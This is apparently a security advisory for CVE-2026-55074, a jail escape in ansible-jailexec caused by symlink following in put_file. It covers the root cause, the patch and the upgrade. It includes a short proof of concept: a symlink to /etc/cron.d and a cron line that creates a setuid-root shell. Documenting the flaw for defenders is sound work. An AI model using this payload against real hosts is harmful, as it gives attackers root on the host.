highCVE-2026-55074Aug 12, 2026

CVE-2026-55074: ansible-jailexec Jail Escape via Symlink Following in put_file

Rohit Hatagale
AI Security Researcher, SecureLayer7

A symlink placed inside a managed FreeBSD jail tricks ansible-jailexec into writing attacker-controlled content to any path on the host as root, breaking out of the jail entirely.

Packageansible-jailexec
Ecosystempip
Affected< 2.0.0
Fixed in2.0.0
CVE-2026-55074: ansible-jailexec Jail Escape via Symlink Following in put_file

The problem

ansible-jailexec versions before 2.0.0 implement put_file by constructing a destination path as <jail filesystem root> + <in-jail destination>, then running mkdir -p and mv there on the host as root.

Because those commands run outside the jail and follow symbolic links, any symlink already present inside the jail at or above the task destination is followed by the host-privileged mv. An attacker with the ability to create symlinks inside the jail (the jail's own root user, or any process writing to a directory Ansible later copies into) can redirect that mv to an arbitrary host path, writing root-owned content outside the jail boundary.

That write is trivially escalated to full host compromise via cron, rc.d, or authorized_keys.

Proof of concept

A working proof-of-concept for CVE-2026-55074 in ansible-jailexec, with the exact payload below.

bash
# Inside the managed jail, before the Ansible copy/template task runs:
# Point the expected destination to a sensitive host path.
ln -sf /etc/cron.d/pwned /path/inside/jail/target_file

# The Ansible playbook on the controller (normal, unmodified):
# - name: Deploy config
#   copy:
#     src: payload.txt
#     dest: /path/inside/jail/target_file

# The host-side (root) mv follows the symlink and writes to /etc/cron.d/pwned.
# payload.txt content (written to the host cron drop-in):
cat > payload.txt <<'EOF'
* * * * * root cp /bin/sh /tmp/sh && chmod u+s /tmp/sh
EOF

The root cause (CWE-59, Improper Link Resolution Before File Access) is that put_file operated on the composed host path outside the jail, where the OS kernel follows symlinks normally. The mv(1) man page explicitly follows symlinks on the destination, so a jail-side symlink pointing to any host path was silently honoured by root.

The patch (commit 6e80eecb) eliminates host-side file operations entirely. File transfers now execute inside the jail via jexec using shell primitives: mkdir -p <dir> && cat > <dest> for put_file, and cat < <src> for fetch_file. Because jexec places the process inside the jail's chroot, every path resolution is bounded by the jail's own root and an in-jail symlink can at most redirect within the same jail.

The fix

Upgrade ansible-jailexec to 2.0.0. No workaround exists in affected versions; the old host-side mkdir/mv approach cannot be made safe without moving the operations inside the jail. After upgrading, remove the now-unnecessary mkdir and mv entries from your doas.conf or sudoers file (only jls and jexec are required).

Reported by Christian Hofstede (chofstede).

References: [1][2][3]

Related research